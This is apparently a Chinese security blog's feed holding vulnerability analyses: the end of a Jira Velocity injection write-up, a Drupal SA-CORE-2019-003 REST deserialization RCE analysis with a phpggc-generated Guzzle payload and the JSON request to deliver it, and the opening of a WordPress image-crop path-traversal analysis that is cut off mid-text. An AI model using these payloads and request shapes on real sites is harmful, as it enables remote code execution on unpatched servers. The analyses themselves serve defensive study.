&lt;p&gt;回过头看一下Velocity渲染的大致流程：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Velocity渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为AST结构，并对AST中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为AST的开销。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;而&lt;code&gt;ASTMethod.execute()&lt;/code&gt;方法设计之初是在&lt;code&gt;Velocity parse&lt;/code&gt;解析模板的过程中，通过反射调用相关方法完成正常模板渲染动作，例如获取背景颜色、获取text内容、获取页面编码等，但当此处攻击者传入精心构造的数据后，利用反射执行了&lt;code&gt;java.lang.Runtime.getRuntime&lt;/code&gt;，成功达到命令执行的目的，漏洞利用十分精巧。&lt;/p&gt;

&lt;h3 id=&#34;参考&#34;&gt;参考&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html&#34;&gt;https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/atlas-debug/&#34;&gt;https://developer.atlassian.com/server/framework/atlassian-sdk/atlas-debug/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/&#34;&gt;https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/velocity%E5%8E%9F%E7%90%86%E6%8E%A2%E7%A9%B6/&#34;&gt;http://ifeve.com/velocity%E5%8E%9F%E7%90%86%E6%8E%A2%E7%A9%B6/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>SA-CORE-2019-003 Drupal 内核远程代码执行漏洞分析</title>
      <link>https://kylingit.com/blog/sa-core-2019-003-drupal-%E5%86%85%E6%A0%B8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Fri, 22 Feb 2019 22:19:04 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/sa-core-2019-003-drupal-%E5%86%85%E6%A0%B8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/sa-core-2019-003&#34;&gt;https://www.drupal.org/sa-core-2019-003&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x02-影响版本&#34;&gt;0x02 影响版本&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Drupal 8.6.x &amp;lt; 8.6.10&lt;/li&gt;
&lt;li&gt;Drupal 8.5.x &amp;lt; 8.5.11&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;影响条件&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;站点启用了&lt;code&gt;Drupal 8&lt;/code&gt;核心&lt;code&gt;RESTful&lt;/code&gt; Web服务&lt;code&gt;(rest)&lt;/code&gt;模块，并允许&lt;code&gt;PATCH&lt;/code&gt;或&lt;code&gt;POST&lt;/code&gt;请求&lt;/li&gt;
&lt;li&gt;站点启用了另一个&lt;code&gt;Web&lt;/code&gt;服务模块，如&lt;code&gt;Drupal 8&lt;/code&gt;中的&lt;code&gt;JSON:API&lt;/code&gt;，或&lt;code&gt;Drupal 7&lt;/code&gt;中的&lt;code&gt;Services&lt;/code&gt;或&lt;code&gt;RESTful Web Services&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;0x03-web-services&#34;&gt;0x03 Web Services&lt;/h3&gt;

&lt;p&gt;Drupal框架的&lt;code&gt;RESTful&lt;/code&gt; Web服务是为了更方便地访问Drupal站点的资源，支持常规的api请求，如GET / POST / PATCH / DELETE（出于一些原因不支持PUT ）&lt;/p&gt;

&lt;p&gt;更详细的介绍可以参考 &lt;a href=&#34;https://www.drupal.org/docs/8/core/modules/rest/overview&#34;&gt;https://www.drupal.org/docs/8/core/modules/rest/overview&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这个漏洞影响REST Web Services，所以首先在Drupal 8中开启rest服务&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;下载&lt;a href=&#34;https://www.drupal.org/project/restui&#34;&gt;REST UI&lt;/a&gt;并解压至&lt;code&gt;core/modules/&lt;/code&gt;目录&lt;/li&gt;
&lt;li&gt;在&lt;code&gt;admin-config-extend&lt;/code&gt;勾选Web services中的&lt;code&gt;RESTful Web Services&lt;/code&gt;和&lt;code&gt;REST UI&lt;/code&gt;并安装，drupal会自动安装&lt;code&gt;Serialization&lt;/code&gt; ，最好也安装&lt;code&gt;HAL&lt;/code&gt;扩展，后续会使用&lt;code&gt;hal_json&lt;/code&gt;数据格式&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;HAL(Hypertext Application Language)是一个简单的API数据格式.它以xml和json为基础，让API变的可读性更高，并且具有discoverable的特性.当我们拿到HAL API返回的数据时，我们将会很容易根据当前数据查找与其相关的数据。在Micro Service API设计中，倾向于采用HAL这种类型的数据交换格式.&lt;/p&gt;

&lt;p&gt;HAL的出现，主要弥补plain json在API交互中的不足.让plain json更具有描述性，更具有导航性.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ol&gt;
&lt;li&gt;开启权限。在&lt;code&gt;admin-config-services-rest&lt;/code&gt;开启匿名用户注册权限&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222161612.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x04-漏洞分析&#34;&gt;0x04 漏洞分析&lt;/h3&gt;

&lt;p&gt;根据补丁位置判断漏洞点在&lt;code&gt;unserialize&lt;/code&gt;部分，因此这是一个反序列化漏洞。补丁主要修复了&lt;code&gt;core/modules/link/src/Plugin/Field/FieldType/LinkItem.php&lt;/code&gt;和&lt;code&gt;core/lib/Drupal/Core/Field/Plugin/Field/FieldType/MapItem.php&lt;/code&gt;两个文件，这两处应该都是能触发的，这里选择&lt;code&gt;LinkItem&lt;/code&gt;进行分析&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222160822.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222160859.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;看一下&lt;code&gt;setValue()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222161825.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到简单判断了&lt;code&gt;$values[&#39;options&#39;]&lt;/code&gt;后直接进行了反序列化，没有进行数据合法性校验，如果能够控制&lt;code&gt;$values[&#39;options&#39;]&lt;/code&gt;就能直接触发漏洞&lt;/p&gt;

&lt;p&gt;接下来梳理一下数据传递过程，以及如何进入到&lt;code&gt;setValue()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;通过rest接口注册用户时，发送的数据包类似这个样子&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222164151.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;(图片来源：&lt;a href=&#34;https://areatype.com/blog/register-user-drupal-8-rest-api&#34;&gt;https://areatype.com/blog/register-user-drupal-8-rest-api&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;在进入&lt;code&gt;drupal&lt;/code&gt;后，由&lt;code&gt;RequestHandler-&amp;gt;handle()&lt;/code&gt;方法处理请求，进入&lt;code&gt;deserialize()&lt;/code&gt;方法，然后调用&lt;code&gt;$this-&amp;gt;serializer-&amp;gt;denormalize()&lt;/code&gt;反序列化出相应的类，此时的&lt;code&gt;$unserialized&lt;/code&gt;为&lt;code&gt;Serializer&lt;/code&gt;类&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222171019.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222171158.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;随后调用&lt;code&gt;Serializer-&amp;gt;denormalize()&lt;/code&gt;方法，在该方法中首先通过&lt;code&gt;getDenormalizer()&lt;/code&gt;获得一个匹配的&lt;code&gt;denormalizer&lt;/code&gt;，才能进行后续的&lt;code&gt;denormalize()&lt;/code&gt;操作，匹配的过程则是和当前类的&lt;code&gt;supportedInterfaceOrClass&lt;/code&gt;变量比较，返回最终可以进行&lt;code&gt;denormalize()&lt;/code&gt;操作的类&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if ($normalizer = $this-&amp;gt;getDenormalizer($data, $type, $format, $context)) {
    return $normalizer-&amp;gt;denormalize($data, $type, $format, $context);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;此处跟入比较深，可以略过，总之返回匹配的类是&lt;code&gt;ContentEntityNormalizer&lt;/code&gt;，跟进它的&lt;code&gt;denormalize()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$typed_data_ids = $this-&amp;gt;getTypedDataIds($data[&#39;_links&#39;][&#39;type&#39;], $context);
$entity_type = $this-&amp;gt;getEntityTypeDefinition($typed_data_ids[&#39;entity_type&#39;]);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个方法中根据 &lt;code&gt;_links.type&lt;/code&gt; 的值取出&lt;code&gt;typed data IDs&lt;/code&gt;，&lt;code&gt;_links.type&lt;/code&gt; 值即是&lt;code&gt;post json&lt;/code&gt;部分的
&lt;code&gt;&amp;quot;type&amp;quot;: {
      &amp;quot;href&amp;quot;: &amp;quot;http://127.0.0.1/drupal-8.6.5/rest/type/user/user&amp;quot;
}&lt;/code&gt;
      值，这个值决定了后面获取到的&lt;code&gt;Entity&lt;/code&gt;实体，通过&lt;code&gt;getTypeInternalIds()&lt;/code&gt;方法取出所有预定义的类型并返回相应的&lt;code&gt;URI&lt;/code&gt;，然后才获取对应的实体类型定义&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222173004.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接着会调用这个实体的&lt;code&gt;denormalizeFieldData()&lt;/code&gt;方法，在&lt;code&gt;denormalizeFieldData()&lt;/code&gt;中调用相应的&lt;code&gt;denormalize()&lt;/code&gt;方法，最终调用到这个&lt;code&gt;field_item&lt;/code&gt;的&lt;code&gt;setValue()&lt;/code&gt;。因此为了触发到存在漏洞的&lt;code&gt;setValue()&lt;/code&gt;，我们需要让&lt;code&gt;field_item&lt;/code&gt;为&lt;code&gt;LinkItem&lt;/code&gt;类或者&lt;code&gt;MapItem&lt;/code&gt;类，这个赋值过程在获取到相应实体后的&lt;code&gt;getStorage()-&amp;gt;create()&lt;/code&gt;过程：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$entity = $this-&amp;gt;entityManager-&amp;gt;getStorage($typed_data_ids[&#39;entity_type&#39;])-&amp;gt;create($values);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;调用流程&lt;code&gt;create()-&amp;gt;doCreate()-&amp;gt;initFieldValues()&lt;/code&gt;，此时的调用栈是这样的：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190223102241.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;现在的问题就是找到相应的&lt;code&gt;Entity&lt;/code&gt;，在其中实体化了&lt;code&gt;LinkItem&lt;/code&gt;类或&lt;code&gt;MapItem&lt;/code&gt;类，通过查找，在&lt;code&gt;core/modules&lt;/code&gt;中这样的类有两个，&lt;code&gt;Shortcut&lt;/code&gt;和&lt;code&gt;MenuLinkContent&lt;/code&gt;，这里选择&lt;code&gt;MenuLinkContent&lt;/code&gt;来触发，此时的&lt;code&gt;_links.type&lt;/code&gt;为&lt;code&gt;http://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_conten&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190223103404.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此最后的数据包类似这个样子，注意&lt;code&gt;link&lt;/code&gt;必须为数组&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;{
  &amp;quot;link&amp;quot;: [
    {
      &amp;quot;options&amp;quot;: payload
    }
  ],
  &amp;quot;_links&amp;quot;: {
    &amp;quot;type&amp;quot;: {
      &amp;quot;href&amp;quot;: &amp;quot;http://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_content&amp;quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;发送数据包成功触发到&lt;code&gt;setValue()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190223103837.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接下来就是寻找内置的风险类了，进入&lt;code&gt;setValue()&lt;/code&gt;后通过&lt;code&gt;unserialize()&lt;/code&gt;执行代码。&lt;/p&gt;

&lt;h3 id=&#34;0x05-poc&#34;&gt;0x05 PoC&lt;/h3&gt;

&lt;p&gt;在之前介绍&lt;code&gt;phpggc&lt;/code&gt;工具的时候总结了&lt;code&gt;Drupal&lt;/code&gt;中存在风险的三个类，分别可以导致远程代码执行、任意文件写入和任意文件删除，这三个类分别是&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FnStream&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FileCookieJar&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WindowsPipes&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;具体参考：&lt;a href=&#34;https://kylingit.com/blog/由phpggc理解php反序列化漏洞/&#34;&gt;由phpggc理解php反序列化漏洞&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;同样地，借助&lt;code&gt;phpggc&lt;/code&gt;直接生成序列化数据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;root@localhost:/opt/phpggc# ./phpggc guzzle/rce1 assert &#39;phpinfo()&#39; -j
&amp;quot;O:24:\&amp;quot;GuzzleHttp\\Psr7\\FnStream\&amp;quot;:2:{s:33:\&amp;quot;\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\&amp;quot;;a:1:{s:5:\&amp;quot;close\&amp;quot;;a:2:{i:0;O:23:\&amp;quot;GuzzleHttp\\HandlerStack\&amp;quot;:3:{s:32:\&amp;quot;\u0000GuzzleHttp\\HandlerStack\u0000handler\&amp;quot;;s:9:\&amp;quot;phpinfo()\&amp;quot;;s:30:\&amp;quot;\u0000GuzzleHttp\\HandlerStack\u0000stack\&amp;quot;;a:1:{i:0;a:1:{i:0;s:6:\&amp;quot;assert\&amp;quot;;}}s:31:\&amp;quot;\u0000GuzzleHttp\\HandlerStack\u0000cached\&amp;quot;;b:0;}i:1;s:7:\&amp;quot;resolve\&amp;quot;;}}s:9:\&amp;quot;_fn_close\&amp;quot;;a:2:{i:0;r:4;i:1;s:7:\&amp;quot;resolve\&amp;quot;;}}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;发送payload&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190223111019.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt;如果返回码为422且报下面这个错误，尝试在&lt;code&gt;/admin/config/development/performance&lt;/code&gt;点击清除缓存&lt;/p&gt;

&lt;p&gt;&lt;code&gt;{&amp;quot;message&amp;quot;:&amp;quot;Type http:\/\/127.0.0.1\/drupal-8.6.5-1\/rest\/type\/shortcut\/default does not correspond to an entity on this site.&amp;quot;}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;另外尝试用&lt;code&gt;PoC&lt;/code&gt;脚本利用，每篇文章对应的&lt;code&gt;node id&lt;/code&gt;利用一次就失效了，再次利用需要换一个&lt;code&gt;node id&lt;/code&gt;，暂时没有研究为什么。&lt;/p&gt;

&lt;h3 id=&#34;0x06-总结&#34;&gt;0x06 总结&lt;/h3&gt;

&lt;p&gt;这个漏洞触发点并不复杂，但是调用链相当深，利用条件则是开启了&lt;code&gt;REST Web services&lt;/code&gt;，并且允许用户通过&lt;code&gt;rest api&lt;/code&gt;注册，在一些功能比较齐全的站点或者方便插件调用时可能会开启，影响面减小了不少，但并不影响这依然是个非常巧妙的漏洞，也进一步说明了开发时考虑不周全的话，风险点就在那里，被利用只是时间问题。&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>Wordpress Image 远程代码执行漏洞分析</title>
      <link>https://kylingit.com/blog/wordpress-image-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Thu, 21 Feb 2019 14:45:49 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/wordpress-image-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;2月20日，RIPS披露了&lt;code&gt;Wordpress&lt;/code&gt;内核&lt;code&gt;Image&lt;/code&gt;模块相关的一个高危漏洞，该漏洞由目录穿越和文件包含组成，最终可导致远程代码执行，目前还没有PoC披露。&lt;/p&gt;

&lt;p&gt;从&lt;code&gt;RIPS&lt;/code&gt;描述的细节来看，漏洞出现在&lt;code&gt;wordpress&lt;/code&gt;编辑图片时，由于没有过滤&lt;code&gt;Post Meta&lt;/code&gt; 值导致可以修改数据库中&lt;code&gt;wp_postmeta&lt;/code&gt;表的任意字段，而在加载本地服务器上的文件时没有对路径进行过滤，导致可以传递目录穿越参数，最终保存图片时可以保存至任意目录。当某个主题include了某目录下的文件时，便可以造成代码执行。&lt;/p&gt;

&lt;h3 id=&#34;0x02-环境搭建&#34;&gt;0x02 环境搭建&lt;/h3&gt;

&lt;p&gt;该漏洞影响&lt;code&gt;4.9.9&lt;/code&gt;版本以下的&lt;code&gt;wordpress&lt;/code&gt;程序，&lt;code&gt;4.9.9&lt;/code&gt;引入了过滤函数，对用户输入的&lt;code&gt;post data&lt;/code&gt;进行了检查，不合法的参数被过滤，主要修改如下图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221162810.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;值得注意的是，在安装低版本时，安装过程中会自动更新核心文件，因此旧版本的&lt;code&gt;wp-admin/includes/post.php&lt;/code&gt;会更新至最新版本，所以安装过程中可以删除自动更新相关模块，或者离线安装。&lt;/p&gt;

&lt;h3 id=&#34;0x03-漏洞分析&#34;&gt;0x03 漏洞分析&lt;/h3&gt;

&lt;h4 id=&#34;漏洞一-数据覆盖&#34;&gt;漏洞一：数据覆盖&lt;/h4&gt;

&lt;p&gt;漏洞出现在wordpress媒体库裁剪图片的过程，当我们上传图片到媒体库时，图片会被保存至&lt;code&gt;wp-content/uploads/yyyy/mm&lt;/code&gt;目录，同时会在数据库中wp_postmeta表插入两个值，分别是&lt;code&gt;_wp_attached_file&lt;/code&gt;和&lt;code&gt;_wp_attachment_metadata&lt;/code&gt;，保存了图片位置和属性相关的序列化信息。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221164008.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当我们修改图片属性（例如修改标题或者说明）的时候，&lt;code&gt;admin-media-Edit more details&lt;/code&gt; 会调用&lt;code&gt;wp-admin/includes/post.php&lt;/code&gt;的&lt;code&gt;edit_post()&lt;/code&gt;方法，该方法的参数全部来自于&lt;code&gt;$_POST&lt;/code&gt;，没有进行过滤&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221163553.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后会调用到&lt;code&gt;update_post_meta()&lt;/code&gt;方法，该方法根据&lt;code&gt;$post_ID&lt;/code&gt;修改&lt;code&gt;post meta field&lt;/code&gt;，接着调用&lt;code&gt;update_metadata()&lt;/code&gt;更新&lt;code&gt;meta&lt;/code&gt;数据，完成之后更新&lt;code&gt;post&lt;/code&gt;数据，调用&lt;code&gt;wp_update_post()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221165642.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;wp_update_post()&lt;/code&gt;方法中，如果&lt;code&gt;post_type=attachment&lt;/code&gt;，则进入&lt;code&gt;wp_insert_attachment()&lt;/code&gt;，接着调用&lt;code&gt;wp_insert_post()&lt;/code&gt;，在&lt;code&gt;wp_insert_post()&lt;/code&gt;方法中判断了&lt;code&gt;meta_input&lt;/code&gt;参数，如果传入了该参数，就遍历数组用来更新&lt;code&gt;post_meta&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221172343.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;进入&lt;code&gt;update_post_meta()&lt;/code&gt;，调用&lt;code&gt;update_metadata()&lt;/code&gt;，在&lt;code&gt;update_metadata()&lt;/code&gt;方法中对数据库进行更新操作，而在整个过程中对键值没有任何过滤，意味着我们可以传入指定的key来设置它的值，调用栈如下图所示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221165806.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;于是构造数据包更新数据库中&lt;code&gt;_wp_attached_file&lt;/code&gt;的值，插入一个包含&lt;code&gt;../&lt;/code&gt;的值，以便在下面触发目录遍历。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221183004.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221174154.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这是第一个漏洞——通过参数覆盖了数据库数据，在补丁处正是对&lt;code&gt;meta_input&lt;/code&gt;这个参数做了过滤，如果包含则通过对比&lt;code&gt;array&lt;/code&gt;舍弃该参数。&lt;/p&gt;

&lt;h4 id=&#34;漏洞二-目录遍历&#34;&gt;漏洞二：目录遍历&lt;/h4&gt;

&lt;p&gt;接着寻找一个获取&lt;code&gt;_wp_attached_file&lt;/code&gt;的值并进行了文件操作相关的方法。&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;wordpress&lt;/code&gt;的&lt;code&gt;图片裁剪&lt;/code&gt;功能中，有这样的功能：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;图片存在于&lt;code&gt;wp-content\uploads\yyyy\mm&lt;/code&gt;目录，则从该目录读取图片，修改尺寸后另存为一张图片；&lt;/li&gt;
&lt;li&gt;如果图片在该目录不存在，则通过&lt;strong&gt;本地&lt;/strong&gt;服务器下载该图片，如从&lt;code&gt;http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg&lt;/code&gt;下载，裁剪后重新保存。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这个功能是为了方便一些插件动态加载图片时使用。&lt;/p&gt;

&lt;p&gt;然而因为本地读取和通过&lt;code&gt;url&lt;/code&gt;读取的差异性，导致可以构造一个带参数的&lt;code&gt;url&lt;/code&gt;，如&lt;code&gt;http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg?1.png&lt;/code&gt;，在本地读取时会发现找不到&lt;code&gt;admin.jpeg?1.png&lt;/code&gt;，而远程获取时会忽略&lt;code&gt;?&lt;/code&gt;后面的参数部分，照样获取到&lt;code&gt;admin.jpeg&lt;/code&gt;，裁剪后保存。如果构造的url包含路径穿越，例如&lt;code&gt;http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg?../../1/1.png&lt;/code&gt;，&lt;code&gt;wordpress&lt;/code&gt;将裁减后的图片保存至指定的文件夹，当图片包含恶意代码被引用时，就可能造成代码执行。&lt;/p&gt;

&lt;p&gt;图片裁剪功能在&lt;code&gt;wp_crop_image()&lt;/code&gt;方法中，但是该方法不能在页面中触发，需要手动更改相应的&lt;code&gt;action&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;首先在页面裁剪图片，并点击保存&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221233754.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;抓取数据包：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;action=image-editor&amp;amp;_ajax_nonce=4c354c778b&amp;amp;postid=5&amp;amp;history=%5B%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A5%2C%22w%22%3A347%2C%22h%22%3A335%7D%7D%5D&amp;amp;target=all&amp;amp;context=edit-attachment&amp;amp;do=save
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;post body&lt;/code&gt;包含了相应的&lt;code&gt;action&lt;/code&gt;和&lt;code&gt;context&lt;/code&gt;，以及供还原文件的历史文件大小，此处需要修改&lt;code&gt;action&lt;/code&gt;为&lt;code&gt;crop-image&lt;/code&gt;以便触发&lt;code&gt;wp_crop_image()&lt;/code&gt;方法，相关调用如下&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;wp-admin/admin-ajax.php&lt;/code&gt;定义了裁剪图片的操作&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221180906.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;判断了用户权限和&lt;code&gt;action&lt;/code&gt;名称后调用&lt;code&gt;do_action&lt;/code&gt;，最终在&lt;code&gt;apply_filters()&lt;/code&gt;中进入&lt;code&gt;wp_crop_image()&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221181053.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221181232.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;进入&lt;code&gt;wp_ajax_crop_image()&lt;/code&gt;方法，在这个方法中进行了多项判断，全部符合才能进入裁剪图片方法，如下图注释所示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221181644.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;首先计算&lt;code&gt;nonce&lt;/code&gt;和&lt;code&gt;expected&lt;/code&gt;值并对比，如果不一致就验证不通过，相关方法是&lt;code&gt;check_ajax_referer()&lt;/code&gt;&amp;ndash;&amp;gt;&lt;code&gt;wp_verify_nonce()&lt;/code&gt;。注意到传入&lt;code&gt;check_ajax_referer()&lt;/code&gt;的&lt;code&gt;$attachment_id&lt;/code&gt;参数，该参数取自&lt;code&gt;$_POST[&#39;id&#39;]&lt;/code&gt;，并参与后面的&lt;code&gt;expected&lt;/code&gt;计算，因此当我们直接更改&lt;code&gt;action=crop-image&lt;/code&gt;是无法通过校验的，需要传入&lt;code&gt;id&lt;/code&gt;的，即为&lt;code&gt;postid&lt;/code&gt;的值。&lt;/p&gt;

